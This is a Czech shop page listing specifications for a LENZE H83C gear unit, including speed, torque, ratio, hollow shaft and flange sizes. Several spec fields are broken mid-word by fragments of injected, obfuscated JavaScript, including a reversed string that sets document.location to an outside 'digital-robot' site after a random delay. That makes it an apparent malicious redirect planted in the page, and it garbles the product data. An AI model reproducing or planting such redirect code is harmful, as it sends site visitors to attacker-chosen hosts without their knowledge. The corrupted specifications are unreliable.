Popis
LENZE
komponenty pro pohonnou techniku - tel. 608 035 402
Typ: | H83C LENZE |
Výstupní otáčky: | 7,7 – 28,8 min-1 (n1 = 1400 min-1) |
Výstupní dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}točivý moment: | 2100 Nm |
Převodový poměr: | 48,55 – 300,17 : 1 |
Materiál skříně: | litina |
Výstupní dutá hřídel: | Ø50 mm*, Ø55 mm (*stdom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}dom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andard) |
Mazání: | syntetický olej |
Velikost modom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}torové příruby IEC: | 80B14 / 90B14 / 100B14 / 112B14 / 132B14/ 71B5 / 80B5 / 90B5 / 100B5 / 112B5 / 132B5 |
Dokumentace:
Recenze
Zatím zde nejsou žádné recenze.